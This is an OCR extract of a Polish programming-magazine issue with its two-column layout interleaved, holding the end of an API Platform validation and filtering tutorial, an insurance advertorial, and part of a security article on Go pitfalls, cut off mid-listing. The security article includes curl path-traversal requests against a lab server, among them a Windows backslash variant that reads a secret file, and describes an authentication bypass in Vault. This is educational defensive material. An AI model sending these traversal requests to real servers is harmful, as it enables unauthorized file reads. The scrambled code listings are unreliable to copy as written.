Oczywiście możemy wskazać też własną klasę walidacji, którą » zaimportować (use) klasy asercji,
utworzyć można zgodnie ze standardami Symfony (symfony.com/ » zmodyfikować adnotację klasy Item,
doc/current/validation/custom_constraint.html). » zmodyfikować adnotację pola $name w klasie Item.

DODANIE WALIDACJI DO POLA Klasa Item po modyfikacji wyglądać powinna następująco:

Listing 15. Klasa Item po wdrożeniu walidacji


Dodajmy więc walidację do pola name – chcielibyśmy, aby nigdy nie
było puste oraz przyjmowało minimalnie 2 i maksymalnie 255 znaków. (...)
use Symfony\Component\Validator\Constraints as Assert;
W tym celu rozpocznijmy od modyfikacji adnotacji w klasie (...)
Item – dodajmy konfigurację dla operacji post określającą grupy /**
walidacji: * @ApiResource(

{ WWW.PROGRAMISTAMAG.PL } <27>
PROGRAMOWANIE APLIKACJI WEBOWYCH

* collectionOperations={ Dodajmy więc możliwość wyszukiwania po polu "name" na zaso-


* "get"={"path"="/getItemsCollection"},
* "post"={"validation_groups"=
bie produktów.
* {"Default","postValidation"}} Na górze pliku z klasą Item zaimportujmy dwie klasy:
* },
* itemOperations={"get","put","patch"} Listing 18. Proces dodawania adnotacji ApiFilter do klasy Item
* )
* @ORM\Entity(repositoryClass=ItemRepository::class)
use ApiPlatform\\Core\\Bridge\\Doctrine\\Orm\\Filter
*/
\\SearchFilter;
class Item
use ApiPlatform\\Core\\Annotation\\ApiFilter;
{
A następnie dodajmy adnotację ApiFilter do naszej klasy Item:
(...)
/**
/**
* @ApiResource(
* @ORM\Column(type="string", length=255)
* collectionOperations={
* @Assert\NotNull
* "get"={"path"="/getItemsCollection"},
* @Assert\Length(
* "post"={"validation_groups"=
* min = 2,
* {"Default","postValidation"}}
* max = 255,
* },
* groups={"postValidation"}
* itemOperations={"get","put","patch"}
* )
* )
*/
* @ApiFilter(SearchFilter::class,
private $name;
* properties={"name": "partial"})
(...) * @ORM\\Entity(repositoryClass=ItemRepository::class)
*/
class Item

Zweryfikujmy więc te modyfikacje – wyślijmy zapytanie na POST


/api/items z nazwą będącą pustym ciągiem znaków. W konfiguracji ApiFilter wskazaliśmy dwie rzeczy – klasę Search-
Filter (którą zaimportowaliśmy z Doctrine) oraz w opcjach okre-
Listing 16. Zapytanie testowe na POST /api/items
śliliśmy, że chcielibyśmy filtrować po polu "name" z wykorzystaniem
{ strategii "partial".
"name": "",
"warrantyTo": "2021-10-18T16:45:40.892Z" Pozostałe strategie do klasy SearchFilter możemy zaobserwo-
} wać w jej interfejsie znajdującym się w ścieżce src/Bridge/Doctrine/
Common/Filter/SearchFilterInterface.php.
W odpowiedzi otrzymamy informacje o tym, że wartość jest za krótka. Są to między innymi:
» exact – wyszukiwanie wartości, które pokrywają się dokładnie
Listing 17. Odpowiedź na zapytanie testowe niespełniające walidacji
ze wskazanym przez nas ciągiem znaków.
{ » partial – wyszukiwanie wartości, które mają ciąg znaków w
"violations": [
{ dowolnym miejscu.
"propertyPath": "name", » start – wyszukiwanie wartości, które zaczynają się od wskaza-
"message": "This value is too short.
It should have 2 characters or more.", nego ciągu znaków.
"code": "9ff3fdc4-b214-49db-(...)"
}
» end – wyszukiwanie wartości, które kończą się wskazanym
] przez nas ciągiem znaków.
}

Pozostałe klasy filtrowania możemy zaobserwować w folderze ven-


Dodatkowo – gdybyśmy usunęli grupę postValidation, otrzymali- dor/api-platform/core/src/Bridge/Doctrine/Orm/Filter. Znajdują się
byśmy ten sam efekt, ponieważ do grup walidacji operacji post przy- tutaj między innymi:
pisaną mamy także grupę Default. Gdybyśmy natomiast ustawili » DateFilter – pozwalający na wyszukiwanie w zakresach dat.
tutaj dowolną inną nazwę grupy, to walidacja długości znaków nie » NumericFilter – wyszukujący wartości w polach numerycznnych.
zostałaby uruchomiona. » RangeFilter – pozwalający wyszukiwać w polach numerycz-
Taki podział umożliwia określenie, które walidacje mają być uru- nych wartości spełniających odpowiednie warunki (większe/
chamiane przy których operacjach, dzięki czemu możemy np. wyma- mniejsze/równe/od do).
gać jakiejś wartości tylko podczas modyfikacji zasobu, która nie jest » SearchFilter – klasa, z której skorzystaliśmy, służąca do wy-
nam potrzebna podczas jego tworzenia. szukiwania w tekście.

FILTROWANIE Po dodaniu powyższej adnotacji widzimy, że w Swaggerze przy na-


szej metodzie odpowiedzialnej za pobieranie kolekcji pojawił się do-
Kolejną ważną funkcjonalnością, która jest podstawą każdego dobrze datkowy parametr – "name".
zbudowanego API, jest system filtrowania. Umożliwia on wyszuki- Ponieważ wskazaliśmy strategię "partial", która pozwala szu-
wanie po dowolnych polach na podstawie wskazanych przez nas re- kać dowolnego ciągu znaków, to po wpisaniu wartości np. "Cors"
guł. API Platform pozwala na dodanie filtrowania do pól za pomocą i wywołaniu wyszukiwania powinniśmy uzyskać utworzony wcze-
specjalnych adnotacji. śniej wpis:

<28> { 5 / 2021 < 99 > }


/ API Platform – szybkie tworzenie przystępnego REST API w PHP /

Listing 19. Widok wpisu po wywołaniu wartości "Cors" ze wskazaną strategią


"partial"

{
(...)
"hydra:member": [
{
"@id": "/api/items/2",
"@type": "Item",
"id": 2,
"name": "[2]: Corsair K68",
"createdAt": "2021-10-17T19:18:55+02:00",
"warrantyTo": "2022-10-17T00:00:00+02:00"
}
],
"hydra:totalItems": 1
(...)
}

PODSUMOWANIE
W artykule poruszyliśmy tematy związane z przekształcaniem su-
rowego API do zarządzania zasobami, które nasi docelowi odbiorcy
mogą wykorzystać w bardziej przystępny sposób. Dodaliśmy więc wa-
lidację przy tworzonych zasobach oraz możliwość filtrowania po nich.
W następnym numerze omówimy kolejne zagadnienia rozwijają-
ce wiedzę na temat budowy aplikacji webowych za pomocą API Plat-
form. Rozbudujemy aplikację o operacje oraz funkcje, które są mniej
generyczne.
Osobom zainteresowanym wykorzystaniem narzędzia polecam lek-
Rysunek 6. Widok klasy Item po modyfikacji systemu filtrowania
turę dokumentacji znajdującej się pod adresem api-platform.com/docs.

ADRIAN CHOJNICKI
adrian.chojnicki@global4net.com
Współwłaściciel Global4Net, architekt rozwiązań chmurowych. Specjalizuje się w tworzeniu aplikacji e-commerce z wyko-
rzystaniem PWA oraz platformy Magento. Propaguje wykorzystanie mikroserwisów jako skalowalne wsparcie dla systemów
monolitycznych.

/* REKLAMA */

85 x 210 mm + 5mm spad z kazdej strony

{ WWW.PROGRAMISTAMAG.PL } <29>
ŻYJE SIĘ TYLKO RAZ. UBEZPIECZENIE NA ŻYCIE JAKO
WAŻNY BENEFIT DLA PRACOWNIKÓW
Nie czas umierać – próbuje nam wmawiać popkultura, posługując się postacią słynnego Ja-
mesa Bonda. Z drugiej strony, dopiero niedawne doświadczenia spowodowane światową epi-
demią skłoniły wiele osób do głębszych przemyśleń związanych z przemijalnością życia.

Żyjemy szybko – bo wymusza na nas to rzeczywistość. Nie zastana- pracownika to m.in.: szeroki zakres ochrony (niemożliwy do uzy-
wiamy się nad tym, co przyniesie jutro – przynajmniej w wymiarze skania przy ubezpieczeniu indywidualnym), możliwość dołączenia
długofalowym. Martwimy się brakiem pieniędzy na lepszy samochód do ubezpieczenia także małżonków, partnerów i pełnoletnich dzie-
czy drogie wakacje, niejednokrotnie odkładając „na później” troskę ci, możliwość kontynuacji ubezpieczenia po odejściu z pracy. Dla
o własne zdrowie i życie. Dlatego pandemia, mimo że z jednej stro- pracodawcy duże znaczenie ma fakt, że w przypadku finansowania
ny obnażyła niedostatki wielu instytucji, z drugiej strony pozwoliła składek może je wliczyć w koszty uzyskania przychodu, a także to, że
ludziom w końcu pomyśleć o sobie. Przejawem tego w branży ubez- w przypadku śmierci pracownika jest zwolniony z obowiązku wypła-
pieczeniowej jest wzrost zainteresowania ubezpieczeniami na życie, ty odprawy pośmiertnej.
w szczególności ubezpieczeniami grupowymi. Grupowe ubezpieczenie na życie znajduje się już w portfelu pro-
Najlepiej świadczą o tym dane Polskiej Izby Ubezpieczeń, doty- duktów większości towarzystw ubezpieczeniowych. Na co należy
czące wysokości wypłaconych świadczeń w I półroczu 2021 r. W tym zwrócić uwagę przy jego wyborze? Kryteriów może być bardzo wie-
okresie ubezpieczyciele wypłacili poszkodowanym 9,3 mld zł z ty­ le, dlatego istotne, aby przed zawarciem polisy przeprowadzić szcze-
tułu ubezpieczeń na życie. Oprócz wzrostu świadczeń w ubezpie- gółową ankietę potrzeb, a także dokładnie przeanalizować warunki
czeniach na życie systematycznie rośnie składka – łącznie wyniosła ubezpieczeń. Kluczowe znaczenie ma definicja pracownika, która
ona 11 mld zł, o 9% więcej niż rok wcześniej. Warto w tym kontek- określa, kto może przystępować do ubezpieczenia (czy tylko osoby
ście wspomnieć o raporcie PIU „Mapa ryzyka Polaków” opubliko- zatrudnione na umowę o pracę, czy także na umowy cywilnopraw-
wanym w lipcu br., który wskazuje, jakich negatywnych życiowych ne i B2B). Ważne są też karencje, czyli okres po zawarciu umowy,
zdarzeń najbardziej się obawiamy, a jednocześnie które z nich uważa- podczas którego ubezpieczyciel nie udziela ochrony lub jest ona
my za najbardziej prawdopodobne. W pierwszej „10” takich zdarzeń ograniczona w przypadku niektórych zdarzeń. Warto zwrócić uwagę
aż 8 pierwszych pozycji jest związana bezpośrednio lub pośrednio na to, od którego dnia przysługuje wypłata świadczenia w przypadku
z utratą życia lub zdrowia. Wniosek, który z tego płynie, jest prosty pobytu w szpitalu, a także na ilość chorób i operacji chirurgicznych.
– ubezpieczenie na życie może być odpowiedzią na większość obaw Jeśli trzon firmy stanowią osoby młode, z pewnością duże znaczenie
współczesnego społeczeństwa. Nie uchroni nas ono przed negatyw- będzie miał dla nich brak wyłączeń za zdarzenia powstałe w efekcie
nymi zdarzeniami, ale pomoże zminimalizować ich skutki, głównie uprawiania sportów (również tych ekstremalnych) oraz za zdarzenia
finansowe. powstałe po spożyciu alkoholu. Istotne elementy ubezpieczenia to
Najpopularniejszym rodzajem ubezpieczenia na życie jest ubez­ także brak ankiety medycznej oraz kilka wariantów ochrony do wy-
pieczenie grupowe dla pracowników. Jest to najczęściej oferowany boru (w tym odrębny wariant VIP dla kadry zarządzającej).
przez pracodawcę program ubezpieczeniowy – objętych jest nim Możliwość przystąpienia przez pracowników do grupowego
w swoim miejscu pracy blisko połowa wszystkich zatrudnionych ubezpieczenia na życie to już pewien standard w średnich i dużych
w Polsce. Tego typu ubezpieczenie zapewnia wypłatę świadczenia przedsiębiorstwach, niosący za sobą szereg korzyści dla obu stron.
nie tylko w przypadku śmierci osoby ubezpieczonej, ale i innych Benefit ten ma szczególne znaczenie w branżach, w których rynek
zdarzeń, np. poważnej choroby, pobytu w szpitalu, operacji, lecze- pracodawcy został zastąpiony przez rynek pracownika – a dzieje się
nia onkologicznego, trwałego uszczerbku na zdrowiu, niezdolności tak w branży IT. Wiele czynników może wpływać na to, czy osta-
do pracy, urodzenia dziecka itp. Katalog świadczeń wraz z sumami tecznie zawarte ubezpieczenie okaże się tylko dobre, czy wręcz bar-
ubezpieczenia jest każdorazowo dostosowywany do wielkości, a tak- dzo dobre w przypadku konkretnej firmy. Dlatego przy wdrażaniu
że specyficznych potrzeb danej firmy. ubezpieczenia grupowego warto zdać się na doświadczonego broke-
Z czego wynika niewątpliwa atrakcyjność tego rodzaju benefitu? ra, który profesjonalnie doradzi i zwróci uwagę na niuanse mogące
Korzyści zarówno dla pracodawcy, jak i pracownika jest wiele. Przede diametralnie poprawić warunki ubezpieczenia.
wszystkim zmiany, które mają obecnie miejsce na rynku pracy, nie-
Aleksandra Woźniakowska
jako „wymuszają” na firmach oferowanie dodatków pozapłacowych, Jakub Mucha
w szczególności takich, które zapewniają poczucie bezpieczeństwa
w postpandemicznym świecie. Zatem z jednej strony jest to dla pra- Infinity Brokerzy Ubezpieczeniowi Sp. z o.o. to firma świadcząca usługi oceny ryzyka oraz
pośrednictwa ubezpieczeniowego. Jesteśmy liderem w liczbie obsługiwanych firm z branży
cownika dodatkowy benefit (zwłaszcza wtedy, kiedy jest on finan- IT w Polsce oraz wyłącznym partnerem SoDA (Software Development Association Poland)
w zakresie ubezpieczeń.
sowany przez pracodawcę), z drugiej zaś strony stanowi duży atut,
podnoszący konkurencyjność firmy na rynku pracy. Inne zalety dla

{ MATERIAŁ INFORMACYJNY }
BEZPIECZEŃSTWO

Pułapki w języku Go
W tym artykule przyjrzymy się wybranym pułapkom języka Go, na które można natrafić pod-
czas pisania czy przeglądania kodu. Niektóre z nich mogą prowadzić do poważnych błędów
bezpieczeństwa czy też umożliwiać ich eksploitację.

NIETYPOWA DESERIALIZACJA XMLI Listing 2. Wykonanie kodu z Listingu 1

$ go run main.go
Jednym z dość znanych problemów parserów formatu XML (ang. Exten- Decoding XML
Wynik: {123}
sible Markup Language) jest procesowanie zewnętrznych encji XML­owych Blad?: <nil>
(tzw. atak XML External Entity, w skrócie XXE). Błąd ten może skutko-
wać nieuprawnionym załączeniem pliku z systemu (maszyny ofiary),
OBEJŚCIE UWIERZYTELNIENIA
a w przypadku połączenia kilku podatności – zdalnego wykonania kodu
W VAULT
(ang. Remote Code Execution) na maszynie. Ponadto taka podatność może
posłużyć również do ataku typu DoS (ang. Denial-of-Service), wykorzystu- Przedstawiony wcześniej problem został wykorzystany przez zespół Go-
jąc tzw. „billion laughs” – nazywane również XML bomb, który polega ogle Project Zero w demonstracji obejścia uwierzytelnienia w oprogra-
na wysyceniu zasobów serwera (pamięć, CPU) i spowodowaniu braku mowaniu HashiCorp Vault, które zostało opisane szerzej w [1]. Vault,
odpowiedzi hosta. W przypadku języka Go i wbudowanego dekodera jako program do zarządzania sekretami (tokenami, hasłami, kluczami
XML z paczki encoding/xml oba te błędy nie występują w jego domyśl- API itd.), umożliwia uwierzytelnianie się między innymi poprzez syste-
nej konfiguracji. Jest za to inny problem: deserializowanie XMLa uda się my zarządzania tożsamością (ang. Identity Access Management, w skró-
nawet w przypadku, gdy parsowany ciąg zaczyna i kończy się czymś, co cie IAM), chmury Amazon (AWS) oraz Google (GCP).
nie jest XMLem! Problematyczne dekodowanie XMLi można było wykorzystać
Problem ten możemy zobaczyć w Listingu 1. Przykład pokazuje do obejścia uwierzytelniania się przez AWS IAM. Schemat działania
deserializację prostej struktury Point1D z XMLa, która znajduje się uwierzytelniania został przedstawiony na Rysunku 1.
wewnątrz JSONa zawartego w stringu data. Można by więc pomy- 1. Użytkownik musi wygenerować i podpisać swoim kluczem pry-
śleć, że dekodowanie zakończy się błędem, ponieważ podany ciąg watnym żądanie, które następnie przesyła do serwera Vault wraz
nie jest w całości poprawnym XMLem. Niemniej jednak dekoder z różnymi parametrami (do ścieżki /v1/auth/aws/login).
nie zwraca błędu i dekoduje zawartego XMLa, co możemy zobaczyć 2. Następnie serwer Vault wysyła to żądanie do usługi AWS STS
w Listingu 2, w którym przedstawiono kompilację oraz uruchomie- (Security Token Service), aby wykonać akcję GetCaller­
nie kodu z Listingu 1. Identity, która zwraca informację o danej tożsamości.
3. Serwer Vault sprawdza, czy dana tożsamość jest zmapowana do
Listing 1. Przykład deserializacji XML, który znajduje się wewnątrz formatu
JSON. Kolorem czerwonym zakreślono części danych, które zostają zignoro- ról w Vault. W przypadku powodzenia zwraca token pozwalają-
wane przez dekoder XML, a zielonym – właściwą część XMLa cy na wykonywanie akcji w Vault.
package main
Serwer Vault nieodpowiednio walidował przesyłane do niego para-
import (
"encoding/xml" metry, które były wykorzystywane do konstrukcji zapytań HTTP do
"fmt"
"strings"
AWS STS (Security Token Service). Pozwalało to na wymuszenie wy-
) słania żądania przez serwer Vault, które wykonywało inną akcję niż
type Point1D struct { GetCallerIdentity po stronie AWS STS, a z której to odpowiedzi
PosX int `xml:"pos_x"` HTTP serwer Vault próbował przeparsować odpowiedź na żądanie
}
GetCallerIdentity, dekodując format XML.
func main() {
data := `{"klucz": "string zawierajacy XMLa: Wiedząc o tym błędzie, a także biorąc pod uwagę to, że dekoder
<?xml version="1.0"?> XML w Go potrafi sparsować XMLa zawartego w JSONie, inżyniero-
<point1d><pos_x>123</pos_x></point1d>...",
"k2": 0}` wie Project Zero znaleźli odpowiednią akcję wewnątrz AWS STS, któ-
decoder := xml.NewDecoder(strings.NewReader(data)) ra zwracała JSONa zawierającego dane, kontrolowane w przesyłanym
fmt.Println("Decoding XML")
żądaniu, a następnie wysłali odpowiednie żądanie do serwera Vault,
var result Point1D tak aby przesłane przez serwer Vault żądanie do AWS STS zwróciło
err := decoder.Decode(&result)
fmt.Println("Wynik:", result) spreparowaną informację o tożsamości w AWS. Podrabiając tożsamość
fmt.Println("Blad?:", err) w taki sposób, by pasowała do zmapowanych przez Vault tożsamości
}
AWS do ról w Vault, atakujący sprawili, że serwer Vault zwrócił im to-
ken dostępu do wykonywania operacji w Vault, którego nie powinni
móc uzyskać (gdyż nie mieli dostępu do pierwotnego konta w AWS).

<32> { 5 / 2021 < 99 > }


/ Pułapki w języku Go /

Rysunek 1. Schemat działania uwierzytelniania się przez AWS IAM w Vault (źródło: [1])

Jak zatem widzimy, standardowe zachowanie wbudowanego deko- func main() {


r := mux.NewRouter()
dera XML w Go może prowadzić do poważnych błędów bezpieczeń-
r.HandleFunc("/assets/{dir}/{filename}", handle_asset)
stwa. Oczywiście omówiony tutaj przykład jest nieco bardziej skompli-
kowany, stąd zachęcam do przeczytania pełnego artykułu z [1], gdzie fmt.Println("Hosting server on :8080")
http.ListenAndServe(":8080", r)
został również opisany atak na uwierzytelnianie przez GCP. }

func handle_asset(w http.ResponseWriter, r *http.Request) {


PRZEKIEROWANIE PRZY PATH params := mux.Vars(r)

TRAVERSAL W GORILLA/MUX dir := params["dir"]


filename := params["filename"]
Biblioteka gorilla/mux jest często stosowana przy implementacji path := filepath.Join(ASSETS_PATH, dir, filename)
serwerów HTTP w Go, gdyż ułatwia routowanie żądań HTTP do fmt.Println("Downloading asset:", path)
http.ServeFile(w, r, path)
odpowiednich funkcji, między innymi poprzez sprawdzenie, czy }
podany URL pasuje do danego formatu czy wyrażenia regularnego.
Na przykład w formacie adresu URL "/assets/{dir}/{filename}" Uważni czytelnicy od razu zauważą możliwy problem dotyczący
wartości dir oraz filename będą zmiennymi zawierającymi dowol- ataku typu Directory Path Traversal: co jeśli w adresie URL zawrze-
ne znaki pomiędzy ukośnikami. Pułapką, w którą możemy wpaść, my „../” albo „.”, tak aby spróbować przeczytać plik z katalogu wyżej
korzystając z tej biblioteki, jest poleganie na przekazanych w adresie lub z obecnego? Serwer w takiej sytuacji zwróci przekierowanie na
zmiennych w celu dostępu do plików znajdujących się na serwerze. rozwiązaną ścieżkę URL. Możemy to zobaczyć w Listingach 4 oraz
Dokładnie taki przykład zaprezentowano w Listingu 3. Jak możemy 5, gdzie uruchamiamy serwer HTTP z określoną strukturą katalogu
zauważyć, tworzy on prosty serwer HTTP, wykorzystując bibliotekę „./assets” oraz odpytujemy serwer o dane zasoby (również odpowied-
gorilla/mux, tak by mieć możliwość czytania plików z danego podka- nio kodując ścieżkę w adresie – poprzez tzw. url-encoding, czyli za-
talogu katalogu ./assets i o określonej nazwie. mieniając „/” na „%2f ”, a „.” na „%2e”).

Listing 3. Przykładowy program wykorzystujący bibliotekę gorilla/mux Listing 5. Wyświetlenie drzewa plików katalogu ./assets i uruchomienie
serwera z Listingu 4
package main
$ tree -f .
import (
.
"fmt"
├── ./assets
"net/http"
│ ├── ./assets/sekretny_plik
"path/filepath"
│ └── ./assets/txt
"github.com/gorilla/mux"
│ ├── ./assets/txt/plik1
)
│ └── ./assets/txt/plik2
const ( └── ./server.go
ASSETS_PATH = "./assets/"
2 directories, 4 files
)

{ WWW.PROGRAMISTAMAG.PL } <33>
BEZPIECZEŃSTWO

$ go run server.go Listing 8. Wykonanie ataku na serwerze uruchomionym na Windowsie


Hosting server on :8080
Downloading asset: assets/txt/plik1
$ curl -vvv --path-as-is 'http://192.168.2.223:8080/assets/\/sekretny_plik'
// (...)
Listing 6. Próby ataku path traversal na serwer z Listingu 4. Wyniki niektórych > GET /assets/\/sekretny_plik HTTP/1.1
wykonywanych poleceń zostały celowo skrócone, co zostało oznaczone po- // (...)
przez dodanie komentarzy „// (...)”. Uwaga: argument --path-as-is przekazany < HTTP/1.1 200 OK
do programu curl powoduje, iż ten przesyła „/../” czy „/./” tak jak zostały one < Accept-Ranges: bytes
podane (w innym wypadku curl sam rozwiązałby ten fragment ścieżki URL) < Content-Length: 24
< Content-Type: text/plain; charset=utf-16le
$ curl http://127.0.0.1:8080/assets/txt/plik1 < Last-Modified: Thu, 04 Nov 2021 21:55:00 GMT
jakis plik1 < Date: Thu, 04 Nov 2021 21:58:08 GMT
<
$ curl -v --path-as-is http://127.0.0.1:8080/assets/txt/../ FLAG{1234}
sekretny_plik
* Trying 127.0.0.1:8080... $ curl -vvv --path-as-is 'http://192.168.2.223:8080/
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) assets/\..\../server.go'
> GET /assets/txt/../sekretny_plik HTTP/1.1 // (...)
> Host: 127.0.0.1:8080 > GET /assets/\..\../server.go HTTP/1.1
> User-Agent: curl/7.77.0 // (...)
> Accept: */* < HTTP/1.1 400 Bad Request
> < Content-Type: text/plain; charset=utf-8
* Mark bundle as not supporting multiuse < X-Content-Type-Options: nosniff
< HTTP/1.1 301 Moved Permanently < Date: Thu, 04 Nov 2021 21:58:13 GMT
< Location: /assets/sekretny_plik < Content-Length: 17
< Date: Sun, 31 Oct 2021 16:36:54 GMT <
< Content-Length: 0 invalid URL path
<
* Connection #0 to host 127.0.0.1 left intact Co ciekawe, o ile udało nam się wykraść zawartość pliku sekretny_
$ curl -v http://127.0.0.1:8080/assets/txt/%2e%2e%2fsekretny_plik plik, to już pobranie pliku server.go się nie powiodło. Chroni nas tutaj
// (...) małe zabezpieczenie zaimplementowane w funkcji http.ServeFile,
< Location: /assets/sekretny_plik
// (...) które możemy zobaczyć w Listingu 9. Gdyby go nie było, a serwer
$ curl -v --path-as-is http://127.0.0.1:8080/assets/./ hostowałby plik, czytając go samodzielnie i wpisując go do odpowie-
sekretny_plik dzi poprzez w.Write(file_content), to błąd byłby jeszcze poważ-
// (...)
< Location: /assets/sekretny_plik niejszy, gdyż pozwalałby na czytanie dowolnych plików na dysku.
// (...)
Listing 9. Zabezpieczenie przed wyskakiwaniem do katalogu wyżej w funkcji
$ curl -v http://127.0.0.1:8080/assets/%2e/sekretny_plik http.ServeFile
// (...)
< Location: /assets/sekretny_plik
func ServeFile(w ResponseWriter, r *Request, name string) {
// (...)
if containsDotDot(r.URL.Path) {
$ curl -v http://127.0.0.1:8080/assets/sekretny_plik // Too many programs use r.URL.Path to construct
// (...) // the argument to serveFile.
> GET /assets/sekretny_plik HTTP/1.1 // Reject the request under the assumption that happened
// (...) // here and ".." may not be wanted.
< HTTP/1.1 404 Not Found // Note that name might not contain "..",
< Content-Type: text/plain; charset=utf-8 // for example if code (still incorrectly) used filepath.
< X-Content-Type-Options: nosniff // Join(myDir, r.URL.Path).
< Date: Sun, 31 Oct 2021 16:45:50 GMT Error(w, "invalid URL path", StatusBadRequest)
< Content-Length: 19 return
< }
404 page not found dir, file := filepath.Split(name)
* Connection #0 to host 127.0.0.1 left intact serveFile(w, r, Dir(dir), file, false)
}

func containsDotDot(v string) bool {


Jak widać, próby ataku Path Traversal się nie powiodły. Niebezpie- if !strings.Contains(v, "..") {
czeństwo powstaje jednak w momencie, gdy uruchomimy ten sam return false
}
serwer na systemie Windows, gdzie ścieżki mogą zawierać znak od- for _, ent := range strings.FieldsFunc(v, isSlashRune) {
wróconego ukośnika („\”). W takiej sytuacji router naszego serwera if ent == ".." {
return true
zamiast zwrócić przekierowanie na rozwiązaną ścieżkę adresu URL }
po prostu przekaże dany ciąg zawierający odwrócony ukośnik do }
return false
problematycznej funkcji. Prezentują to Listingi 7 oraz 8, gdzie uru- }
chamiamy ten sam serwer na Windowsie, a żądania HTTP wykonu- func isSlashRune(r rune) bool { return r == '/' || r == '\\' }
jemy z innej maszyny. Jak możemy zauważyć: udało nam się wykraść
zawartość pliku sekretny_plik. Jak możemy zauważyć, funkcja http.ServeFile na samym jej po-
czątku przekazuje URL do funkcji containsDotDot, która dzieli adres
Listing 7. Uruchomienie serwera na Windowsie oraz jego logi po wykonaniu
poleceń z Listingu 8 znakami „/” oraz „\”, i sprawdza, czy któryś z komponentów zawiera
„..” – jeśli tak, to zwracany jest widziany wcześniej w Listingu 8 błąd
$ go run server.go
Hosting server on :8080 „invalid URL path”. Niemniej jednak nie uchroniło nas to przed wy-
Downloading asset: assets/sekretny_plik kradnięciem pliku sekretny_plik, co można było zrobić, wysyłając do
Downloading asset: server.go
serwera adres URL zawierający pojedynczy, odwrotny ukośnik („\”)
jako nazwę katalogu, z którego zamierzaliśmy pobrać plik.

<34> { 5 / 2021 < 99 > }


/ Pułapki w języku Go /

ZGŁOSZENIE BŁĘDU DO klucz: oraz "wartość" nie ma spacji. W przypadku gdy ją doda-
my, niektóre biblioteki nie przeprocesują już danego tagu, a nawet nie
SECURITY@GOLANG.ORG zwrócą żadnego błędu. Takie zachowanie prezentuje kod z Listingu 12,
Co ciekawe, omówioną podatność z http.ServeFile znalazłem gdzie wykorzystujemy tagi, aby zmienić nazwę pól podczas serializa-
przypadkiem wraz ze znajomym szymex73 [3] (któremu dziękuje za cji do formatu JSON. Wynik wykonania tego kodu zaprezentowano
uruchamianie kodu na Windowsie) podczas pisania tego artykułu w Listingu 13.
i upraszczania kodu serwera z Listingu 3, gdzie finalnie wykorzysta-
Listing 12. Przykład prezentujący problemy z tagami pól w strukturach.
łem funkcję http.ServeFile. Błąd, który pierwotnie chciałem poka- Na zielono zakreślono poprawne tagi, a na pomarańczowo zniekształcone
zać, czyli pełny Path Traversal, przestał działać i analizując kod, zna- tagi, które zostały zignorowane przez bibliotekę encoding/json
lazłem problem z http.ServeFile. Został on zgłoszony do security@ package main
golang.org w trakcie pisania tego artykułu i postanowiłem go opisać, import (
"fmt"
ponieważ nie jest on zbyt poważny. "encoding/json"
)

TAGI W STRUKTURACH type MysteriousObject struct {


PosHorizontal int `json:"pos_x"`
PosVertical int `json: "pos_y"`
Kolejną pułapką, na którą możemy natrafić w języku Go, jest kwe- Name string `json:"name,omitempty"`
Description string `json:"desc, omitempty"`
stia formatowania tagów w strukturach. Tagi to funkcjonalność Go, }
która pozwala na dodanie dodatkowych informacji o polach struktur, func main() {
do których można odwołać się z kodu poprzez użycie mechanizmu obj := MysteriousObject{1337, -2137, "", ""}
data, err := json.Marshal(obj)
refleksji. Są one wykorzystywane przez biblioteki między innymi do fmt.Printf("JSON=%v\nerr=%v\n", string(data), err)
dekodowania różnych formatów (jak np. encoding/json czy enco- }

ding/xml) na przykład do definiowania nazwy serializowanego pola, Listing 13. Uruchomienie kodu z Listingu 11, gdzie przez błędnie napisane
ustalenia jego domyślnej wartości czy określenia opcjonalności/po- tagi pole PosVertical nie zostało nazwane pos_y, a pole Description nie
minięcia podczas serializacji. zostało pominięte podczas serializacji, gdy jego wartość była pusta
Przykładową definicję tagów oraz możliwość bezpośredniego od- $ go run structtags.go
wołania się do nich poprzez refleksję prezentuje program z Listingu 10, JSON={"pos_x":1337,"PosVertical":-2137,"desc":""}
err=<nil>
którego wynik wykonania znajduje się w Listingu 11.

Listing 10. Przykładowy program demonstrujący tagi w strukturach


Tego rodzaju błędy mogą prowadzić do nieoczekiwanego działania
package main aplikacji. Na szczęście problem zniekształconych tagów wykrywa-
import ( ny jest za pomocą narzędzi do statycznej analizy kodu źródłowego.
"fmt"
"reflect" W Listingu 13 pokazano użycie go vet, który pozwala na zidentyfiko-
) wanie błędnej składni w tagach.
type Struct struct {
Tagged1 string "some tag" Listing 13. Wynik skanowania programu z Listingu 12 narzędziem do statycz-
Tagged2 int `{"other complex":"tag", 'heh': 1}` nej analizy kodu go vet
NotTagged int
} $ go vet structtags.go
func main() { # command-line-arguments
t := reflect.TypeOf(Struct{}) ./structtags.go:10:5: struct field tag `json: "y"` not compatible
field1, _ := t.FieldByName("Tagged1") with reflect.StructTag.Get: bad syntax for struct tag value
fmt.Printf("%+v\n", field1) ./structtags.go:12:5: struct field tag `json:"desc, omitempty"`
field2, _ := t.FieldByName("Tagged2") not compatible with reflect.StructTag.Get: suspicious space in
fmt.Printf("%+v\n", field2) struct tag value
field3, _ := t.FieldByName("NotTagged")
fmt.Printf("%+v\n", field3)
}

Listing 11. Uruchomienie kodu z Listingu 10. Na żółto zaznaczono pole Tag
CZYTANIE PLIKU LINIA PO LINII
struktur oraz zawartość pola
Gdy potrzebujemy przeczytać plik linia po linii, możemy skorzystać
$ go run tags_example.go z obiektu skanera z wbudowanej paczki bufio i pętli for scanner.Scan(),
{Name:Tagged1 PkgPath: Type:string Tag:some tag Offset:0
Index:[0] Anonymous:false} jak to zostało przedstawione na Listingu 14.
{Name:Tagged2 PkgPath: Type:int Tag:{"other complex":"tag",
'heh': 1} Offset:16 Index:[1] Anonymous:false} Listing 14. Problematyczne czytanie pliku linia po linii
{Name:NotTagged PkgPath: Type:int Tag: Offset:24 Index:[2]
Anonymous:false} package main

import (
"os"
Jak możemy zauważyć, tagi są zwykłymi łańcuchami znaków i choć "bufio"
dokumentacja do paczki reflect opisuje konwencję, zgodnie z którą "fmt"
)
tagi powinny zawierać pary klucz:"wartość" oddzielone spacją [4],
to nie jest to stricte wymagane. Warto zwrócić uwagę, że pomiędzy

{ WWW.PROGRAMISTAMAG.PL } <35>
BEZPIECZEŃSTWO

func main() { Line len = 10


file, err := os.Open("input") line = First line
if err != nil { Parsed whole file?
fmt.Printf("os.Open err=%v\n", err) Scanner error: bufio.Scanner: token too long
return
}
defer file.Close()
Dobrą i bezpieczną praktyką jest sprawdzanie błędów skanera. Nie-
scanner := bufio.NewScanner(file)
for scanner.Scan() { stety, okazuje się, że w niektórych projektach takie działania są pomi-
line := scanner.Text()
fmt.Println("Line len =", len(line))
